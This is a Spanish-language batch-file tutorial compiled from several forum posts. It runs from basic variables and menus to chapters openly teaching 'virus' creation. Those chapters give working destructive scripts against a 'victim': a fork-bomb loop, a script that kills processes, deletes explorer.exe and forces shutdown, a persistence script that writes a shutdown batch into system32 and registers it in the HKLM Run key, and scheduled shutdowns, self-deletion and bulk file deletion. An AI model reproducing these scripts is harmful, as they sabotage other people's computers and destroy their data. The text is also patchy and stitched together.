set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit

CAPITULO 3: VARIABLES -CONTINUACION-

En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones
matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).

Estas en vez de set/p xxx= se llaman set/a xxx=


Sirve por ejemplo para realizar medias, porcentajes...etc...

Lo mejor es ver un ejemplo:

Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1?‚º
capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el
programa no se vera. Os lo digo porque lo utilizare para irles explicando.

VEAN:

Código:

@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6
set/a suma=a+b+c+d+e+f
rem aqui sumamos las medias
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
echo tu nota media es de : %media%
pause
echo estudia mas cabron
echo.
echo consejo de txshack
pause
exit

Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ‚¡que
qereis!? jeje

Espero que lo ayais entendido.

Los comandos de las operaciones son

suma+
resta -
producto *
division /
exponente ^

CAPITULO 4: IF, GOTO, MENUS

Bueno, en este 4?⼠capitulo, os explicare 2 sencillos comandos (el goto, y el de la


estructuracion por menus), y otro algo mas complicado (el if) pero vereis que con un poco de
practica tambien esta chupado.

El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir
a un menu...

Los menus, nos permiten hacer "menus" o apartados en nuestro bat.

Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo
vereis mas claro)

El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se
ara tal cosa.

El comando if, dispone de los siguientes atributos:

variable==valor (para expresar si la variable es igual a valor az esto)


variable LSS valor (para expresar si la variable es menor a valor az esto)

variable GTR valor (para expresar si la variable es mayor a valor az esto)


variable LEQ valor (para expresar si la variablees menor o igual az esto)
variable GEQ valor (para expresar si la variable es mayor o igual az esto)

Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.

Código:

@echo off
title txshack if, goto y menus
:menu
cls
echo responde si o no
echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces sigue los consejos de txshack
pause > nul
goto end
:noh
cls
echo.
echo pues entonces que co?o aces leyendo esto??
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exit

Han comprendido no es sencillo.

Aqui os dejo otro ejemplo

Código:

@echo off
title ?que numero sera...?
:menu
cls
echo deves averiguar el numero para poder salir
echo.
set /p var=pon un numero:
If %var%==5 goto si
If %var% LSS 5 goto menor
If %Var% GTR 5 goto mayor
:si
cls
echo correcto!!! por culo te la inco!! jaja
pause
goto salir
:menor
cls
echo elije otro mas alto
echo.
echo sigue jugando
pause > nul
goto menu
:mayor
echo elije otro mar peke?o!!
echo.
echo sigue probando
pause > nul
goto menu
:salir
echo.
echo asta otro dia!!
pause > nul
echo.
echo un saludo, txshack
pause
exit

Ya lo abran pillado no

Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa
esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un
ejemplo veran q facil es.

Se preguntaran tambien que pasa, cuando por ejemplo en el 1?⼠ejemplo que puse, en vez de
escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser
lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo).

Pero no se preocupen todo esto tiene solucion con un comando llamado else.

Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos

Código:

if %vari%=1 (goto menu1) else goto menu2

Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.
La sintaxis seria esta

if condiciones (accion1) ELSE accion2

La 1?⼠accion deve ir entre parentesis obligatoriamente.

Vean un ejemplo les quedara mas claro...


En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier
otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes

Código:

@echo off
title txshack di soy bobo
:menu
cls
echo que quieres? consejo o salir
echo.
set /p var=dime, consejo o salir:
If %var%==consejo (goto consejo) else goto if2
:if2
if %var%==salir (goto end) else goto menu
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!
pause > nul
goto end
:end
cls
echo.
echo adios!!
pause
exit

Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen

Pronto seguire.

Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y


experimenten y prueven por ustedes mismos.

En este capitulo, os ense?are el resto de comandos interesantes, y para el proximo capitulo,


nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.

Bien, estos son los comandos basicos q deven recordar:

del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe

/P Pide confirmacin en cada caso


/F Modo force. Borra incluso los archivos de solo lectura
/S Borra tambin los subdirectorios.
/Q Modo silencioso. No pide confirmacin en ningn caso

rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.

star comienza algo, por ejemplo star www.infiernohacker.mundoforo.com

taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill
iexplore.exe

format unidad: formatea una unidad, por ejemplo format c:

msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y
no te olvides de visitar infiernohacker

reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)

> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos
creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos
veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que
teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en
la linea siguiente adios.
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la
palabra adios.
Espero que lo hayan entendido... en brebes palabras_
> crea o remplaza un archivo
>>salta asta la linea siguiente

ejemplo:

Código:

@echo off
echo txshack>hola.txt
exit

Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra
txshack

* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
borrara todos los archivos con extension .jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.

? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del
c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por
ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?

El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto,
porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q
entienden.
c?sa.* (archivos c -un caracter- sa y de cualquier extension)
*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)

CHDIR o CD [path>

Cambia al directorio indicado.

CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa


CD .. Trasladarse al directorio superior
CD \\ Trasladarse al ra?*z

ATTRIB [/S> [archivo>

Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.


Con el par?metro /S busca tambin en subdirectorios.

Los atributos son:


H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no
modificado.

ATTRIB archivo.txt Muestra los atributos de ese archivo


ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)


attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y
read only)

shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u
otra:
si esta seguido de -r se reiniciara el equipo
-s hara que se apage
-f forzara a cerrarse todos programas
-t 15 indica el tiempo...en este caso 15 segundos
-c " " lo que va entre comillas sera un mensaje...

pongamos un ejemplo_

shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los
programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga
jodete

Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if,
goto....etc son los basicos.

Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de
virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con
estos tenemos por hoy

CAPITULO 6: INICIACION A LA CREACION DE VIRUS

Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus.

Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita
algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es
importante repetirlo (profundizando algo mas) en este tema.
1.)Introduccion

Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para
expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-
dos)

¿Que es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.

explicacin: @echo off

Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.

explicacin: shutdown

es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son
como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin
embargo otros no.

explicacin: parametro -s y -t

el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los
segundos. en el ejemplo
de antes pusimos 1 segundo.

otros parametros de shutdown:

shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m
\\nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.

Comandos b?sicos

a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus.

-del = borra un archivo


-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos

Comandos del registro


Operaciones:

REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?

Usad estos comandos para obtener ayuda sobre los parametros despus de reg.

inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar
cada uno xD)

Bucles

Bueno un bucle es repetir muchas veces lo mismo


ejemplo

@echo off
:txshack
echo te estoy haciendo un bucle jaja
goto txshack

jeje ya podeis imaginaros las cosas que podeis hacer.

otro ejemplo:

@echo off
:menu
start
goto menu

Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le
trabar? todo.

el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito.

podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start http://infiernohacker.mundoforo.com)
Nuestro segundo virus.

@echo off
taskkill /F /IM msnmsgr.exe
del /F c:\windows\system32\explorer.exe
shutdown -s -t 10 -c "Asta luego lucas!!"

Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10
segundos con el mensaje asta luego lucas xD

Variables de windows xp

para ver el contenido de estas variables escriban en cmd.exe

echo %NOMBREDELAVARIABLE%

%COMPUTERNAME% = Nombre de host.


%SYSTEMROOT% = Carpeta de administracin Normalmente c:\windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesin
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesin
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (\\mihost)

no son todos pero estan los mas importanter

CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS

Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e
podido hacerlo.

Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas
clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y
algunas cosillas mas...

Podemos crear un virus que se ejecute, haga su funcion y ya esta...


o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...

Como podemos ver el da?o no es igual...

imaginen este virus:

@echo off
shutdown -r -f -t 5
exit
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la
victima lo vuelva a ejecutar...

Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya
joderia algo mas no?

Pues bien, esto es lo que voy a intentar explicar.

1?⼠Devemos acer que nuestro virus se cree en algun directorio

2?⼠A?adirlo al registo, (a run)

3?⼠Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc

Bueno, en primel lugar, comenzaremos como siempre

@echo off

A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por
ejemplo C: o System32 o Windows... etc

Si queremos que se guarde en c: basta con escrivir tan solo cd

@echo off
cd

Si por ejemplo queremos q se guarde en System32, pues ariamos:

@echo off
cd c:\windows\system32

Y de esta forma igual con cualquier otro directorio....

Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat
completo en system32... es decir... crear uno desde el principio, apartir de este...

Lo veran mejor con el siguiente ejemplo

Código:

@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit

Entienden lo que emos echo no si an seguido el manual desde el principio, entenderan el


porqe del > y del >>.

Por si no lo saben se lo explico brebemente:

El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.

Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos
queda a?adirlo a RUN para q se inicie con windows...
Para ello a?adiremos lo siguiente:

reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t


reg_sz /d C:\windows\system32 /f

Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante
aparece la ruta C:\windows\system32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.

Asi que de momento nuestro virus iria asi:

Código:

@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t
reg_sz /d C:\windows\system32 /f
exit

Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje.

Ahora podriamos poner algun mensaje y tambien ejecutar el bat...

Por ejemplo asi:

Código:

@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t
reg_sz /d C:\windows\system32 /f
msg * Estas perdido amigo
msg * Ahora TxShack domina tu pc
msg * jajaja
start c:\windows\system32\virus.bat
exit

Bueno, y asta aqui, explicare por hoy

Espero que lo hayan entendido todo...

Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de
archivos...etc

Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.

Un saludo, y asta pronto.

Como iniciarse en batch desde el principio

Indice
1. ¿Que es Batch?
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 ¿Como guardo el Batch?
2. Variables
2.1 Variables del entorno
3. Automatizando Tareas (AT)
4. Utilizacion de comandos de red
5. Redirecciones
6. %0, %1, etc.
7. Manejo del Registro

1. ¿Que es Batch?

Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes


que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y
condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun
editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no
funcionaria.

1.1 Codigos Basicos y Pequeña Practica

Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de
Notas.
Los comandos basicos de batch son los siguientes:

*ECHO: imprime un texto en pantalla


*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se
puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden
UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con
posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las
últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador

Ahora probamos

Abres el Block y escribes el siguiente codigo.

@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit

Aca una screen del codigo anterior luego de ser compilado y funcionando:

Ahora expliquemos el codigo que copiaste


@Echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino
nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo
sea.

Title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.
Echo

este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.


por ejemplo
echo hola
en la pantalla apareceria "hola"
Pause

esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.
Pause > nul

esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que
dice "presione un tecla para proseguir"

1.2 ¿Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...


Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene
que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"

2. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no

conosco todos ). Son datos que pueden ir cambiando a medida que el programa corre.
Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se
nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones
matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la
variable zero, cuando la llamamos seria %zero%

A LA PRACTICA

comenzaremos examinando el code siguiente:

@echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit

Ahora Examinemos el code:

set /p nombre=como te llamas?

con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre.
Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

He aqui un modelo standar de variable


set /p var1=que valor le asigna a la variable 1?

tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo

set var=pesos

echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar
%comida%? XD
exit

Aqui imprime en pantalla un texto usando las variables, como mencione al principio las
variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables
nombre, edad y comida adicionadas con el texto expuesto

este seria el ejemplo del programa corriendo asi se entiende mejor:

Bienvenidos al ejercicio para aprender variables


.
Presione una tecla para continuar

como te llamas? holy


que edad tienes? 14
que comes? nada

hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD
2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o
subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro
el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar
este tipo de errores usaremos las variables del entorno que son las siguientes:

%ALLUSERSPROFILE% ------> todos los usuarios


%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple
batch que ejecuta el notepad

@echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit

en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar
batch.

3. Automatizando Tareas (AT)


El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha
determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del
escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos
los 24. Aqui les mostrare unos ejemplos y veran los facil que es.

@echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit

@echo off
at /next:4 4:00 shutdown -s -f -t 01
pause > nul
exit

@echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit

Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el
comando a la clave run del registro para que inicie con windows. No es para nada complicado.
Lo unico seria agregar un add reg.

@echo off
rem este code contiene una redireccion,
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d
"c:/shut.bat"
del %0
exit

.4 Utilizacion de comandos de red

Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales
como pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su
explicacion.

FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un
nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Enivia paquetes a un host para comprovar su disponibilidad

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
muestra el camino que se toma hasta llegar a la ip

5. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por
ejemplo para redireccionar un comando a un archivo.

@echo off
shutdown -s -f -t 01 >> "c:/shut.bat"

En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por
ejemplo un virus que se autoelimine para no dejar rastros.

@echo off
del /f /q c:/documents and settings/%currentuser%/escritorio/*.* >
"c:/windows/system32/sysdoc.bat"
del /f /q %0
rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo

Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:

echo hola > prn

Este code tendria que salir por la impresora.

DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie

6.%0, %1, etc.

Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran
explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero
se comprueba con este ejemplo:

@echo off
del /f /q %0
exit

Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los
parametros que se pueden especificar para un comando.

dir /p

en este caso "/p" seria igual a %1.


Entonses si ponemos

del /f /q

"/f" es %1 y "/q" es %2

Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para
el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer
parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa.
Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo
con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo
de este modo:
C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help

y luego solo normalmente

C:\Documents and Settings\Francisco\Escritorio\>prueba.bat

@echo off
title Ejemplo de variables
if %1==/help (goto help) else goto :tex

:help
echo Esta es la ayuda
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit

:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit

7.Manejo del Registro

Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este
comando tiene infinitas posibilidades. Hay muchos parametros que se pueden especificar y
muchas funcionalidades. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los
mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:

REG ADD / Para agregar una clave al registro


REG QUERY / Para consultar una clave
REG EXPORT / Para exportar claves
REG IMPORT / Importa una clave exporta anteriormente con EXPORT.
REG COMPARE / compara una clave con otra.

REG ADD
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d
"c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la
ruta de nuestro bat.

REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles
HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU |
HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY
HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY
HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.

REG EXPORT

clave ROOTKEY\subclave (sólo equipo local)


ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar

Espero que le sirva a alguien que quiera comenzar con batch

Comentar no cuesta nada

Programación BATCH Avanzada.

Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF
________________________________________

Variables y Argumentos

El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones
matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de
texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre
otros.
Los argumentos que recibe un batch, son recibidos de la siguiente forma:

batch argumento1 dos tres

hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres

en %0 se guardara, el nombre del archivo.

Podemos borrar el contenido de un parametro con el comando shift:


Código:
@echo off
echo %0 %1 %2 %3
shift /1
echo %0 %1 %2 %3

al llamar:
Código:
C ocuments and SettingsAdministradortempcurso>astring 123 456 789
astring 123 456 789
astring 456 789
shift borro, el primer argumento.

Tambien contamos con los siguientes modificadores para los archivos:


Código:
%~f1 - regresa la ruta y el archivo de %1.
%~d1 - regresa la letra de la unidad de %1.
%~p1 - regresa solo la ruta del archivo %1.
%~n1 - regresa solo el nombre de archivo %1.
%~x1 - regresa solo la extension del archivo %1.
%~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
%~a1 - regresa los atributos del archivo.
%~t1 - regresa la hora/fecha del archivo %1
%~z1 - regresa el tamaño del archivo %1.

por ejemplo:

en un directorio donde tenemos:


Código:
C ocuments and SettingsAdministradortempcurso>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: A057-553B
Directorio de C ocuments and SettingsAdministradortempcurso
24/07/2006 12:25a <DIR> .
24/07/2006 12:25a <DIR> ..
24/07/2006 12:25a 6 archivo.txt
1 archivos 6 bytes
2 dirs 401,715,161,088 bytes libres

este batch:
Código:
@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1

llamandolo analiza.bat, saca el siguiente resultado:


Código:
C ocuments and SettingsAdministradortempcurso>analiza archivo.txt
Ruta al archivo: C ocuments and SettingsAdministradortempcursoarchivo.txt
Disco: C:
